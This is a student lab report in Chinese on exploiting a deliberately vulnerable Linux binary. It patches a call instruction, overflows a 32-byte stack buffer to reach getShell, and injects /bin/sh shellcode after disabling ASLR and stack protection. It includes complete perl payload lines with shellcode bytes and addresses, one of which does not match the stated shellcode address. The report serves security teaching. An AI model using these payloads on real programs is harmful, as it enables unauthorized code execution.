20175201张驰 网络对抗exp1—PC平台逆向破解
一、任务
实践目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。
- 我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode
实践内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路，基本代表现实情况中的攻击目标：
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 注入运行任意代码
二、基础知识
-
ESP寄存器
ESP专门用作堆栈指针，被形象地称为栈顶指针，存放当前线程的栈顶指针，堆栈的顶部是地址小的区域，压入堆栈的数据越多，ESP也就越来越小。在32位平台上，ESP每次减少4字节 -
EIP寄存器
EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行
三、实验步骤
1、直接修改程序机器指令，改变程序执行流程
-
知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
-
学习目标：理解可执行文件与机器指令
-
进阶：掌握ELF文件格式，掌握动态技术
(1)首先将pwn1用cp拷贝到作业目录，然后用mv进行重命名
(2)输入objdump -d 20175201pwn1进行反汇编
- 第12行，
call 8048491是汇编指令 - 是说这条指令将调用位于地址
8048491处的foo函数；其对应机器指令为`e8 d7ffffff，e8即跳转之意 - 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，
- main函数调用foo，对应机器指令为
e8 d7ffffff， - 我们想让它调用getShell，只要修改
d7ffffff为，getShell-80484ba对应的补码就行。 - 用Windows计算器，直接 47d-4ba就能得到补码，是
c3ffffff
(3)vim 20175201pwn1
(4)先按esc，之后输入:%!xxd，以显示16进制内容
(5)输入/e8 d7快速找到我们想要的地方，注意一定要加空格！
(6)按i进入插入模式，修改d7为c3
(7):%!xxd -r将16进制内容转换为原来的格式；
(8):wq保存并退出
(9)./20175201pwn1
2、通过构造输入参数，造成BOF攻击，改变程序执行流
(1)首先拷贝一份pwn1，然后用mv进行重命名
(2)输入objdump -d 20175201pwn2进行反汇编
- 我们的目标是触发
getshell函数 - 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
- 这里读入字符串，但系统只预留了 32 字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
- call调用了foo,同时在堆栈上压上返回地址值:
80484ae
(3)确认输入字符串哪几个字符会覆盖到返回地址
- 如果输入字符串
1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给20165201pwn2，20165201pwn2就会运行getShell
(4)构造输入字符串
- 关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
- 如图输入命令，将
1111111122222222333333334444444412345678换成11111111222222223333333344444444\x7d\x84\x04\x08
可以使用16进制查看指令xxd查看input文件的内容是否如预期
（5）然后将input的输入，通过管道符“|”，作为20175201pwn2的输入
（6）成功！！！
3、注入Shellcode并执行
(1)准备一段Shellcode
- shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
- 所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
(2)准备工作
- 要注意的是，我们的实验目前是在非常简单的一个预设条件下完成的：
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(3)构造要注入的payload
输入
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中32个A是为了填充缓冲区，而\x04\x03\x02\x01是预留的返回地址retaddr
-
接下来我们来确定
\x4\x3\x2\x1到底该填什么 -
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./20175201pwn2
-
打开一个终端输入
ps -ef | grep 20175201pwn2来查找进程号，可以看到第一行，进程号即为4924(不过第一次做错了，第二次做的时候是5515)
-
打开另一个终端，用
gdb调试，输入指令attach 5515
(4)通过设置断点，来查看注入buf的内存地址
- 用
disassemble foo命令反汇编，查看foo函数
用break *0x080484ae命令设置断点，在之前的终端中按下回车，输入c命令继续运行
用````info r esp命令查找地址，这里可以看到堆栈指针esp为0xffffd36c```
我们输入x/16x 0xffffd2ec查看其存放内容，看到0x01020304了，就是返回地址的位置。shellcode就挨着，所以shellcode的起始地址是0xffffd370（加4字节）
那么思路很清晰了，接下来将之前的\x4\x3\x2\x1改为这个地址即可，输入命令
perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入成功！！！
四、遇到的问题和解决方式
bash：'!'......
解决:虽然安装的时候解决了中文乱码的问题，但是这次还是出现了。虽然很无奈，但是找上次安装时的教程再来一遍就好了
权限不够
解决：有几个步骤会出现‘权限不够’的提示。命令行输入su输入密码解决
五、实验收获和感想
- 本次实验我们主要学习了缓冲区溢出与shellcode，这也是我自己第一次实践攻击程序，修改程序的路径，给我感觉自己像一个刚入门的黑客的感觉，挺有意思的。实验过程中当然也出现了不少问题，像输入错误、顺序错误等等导致重新再来一遍的失误，是我自己不小心导致的所以没往报告中写，当然，过程中也参考了学长学姐之前的博客，自己把自己思考分析的过程详细整理了一下，最后当攻击成功后，那种内心的满足感和成就感油然而生。
- 希望自己在今后能学到更多关于网络对抗方面的知识。
- 什么是漏洞？漏洞有什么危害？
漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误，或者是庞大的代码中的可乘之机。
漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利，让个人社会乃至国家遭受损失。
